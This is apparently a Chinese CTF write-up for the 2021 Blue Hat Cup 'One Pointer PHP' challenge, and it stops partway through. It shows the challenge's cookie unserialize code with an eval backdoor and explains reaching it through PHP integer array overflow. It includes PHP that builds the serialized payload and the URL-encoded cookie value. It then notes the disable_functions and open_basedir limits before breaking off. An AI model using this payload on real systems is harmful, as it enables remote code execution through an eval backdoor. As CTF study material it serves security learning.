[蓝帽杯 2021]One Pointer PHP

知识点

解题

源码:

//add_api.php
if($user=unserialize($_COOKIE["data"])){
    $count[++$user->count]=1;
    if($count[]=1){
        $user->count+=1;
        setcookie("data",serialize($user));
    }else{
        //eval($_GET["backdoor"]);
    }
}

eval($_GET["backdoor"]),但是要绕过if($count[]=1)的判断才能使用

这里使用数组溢出,数组最大长度是9223372036854775807,超出这个长度就会出错。

构造可利用的序列化字符串:

<?php
class User{
    public $count = 9223372036854775806;    //注意是 9223372036854775806 而不是 7
}
urlencode(serialize(new User()));
?>

结果:

O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

成功绕过写入命令:

phpinfo()页面中发现了很多disable_functions,过滤了不少函数:

也限制了访问目录:

open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents() 打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录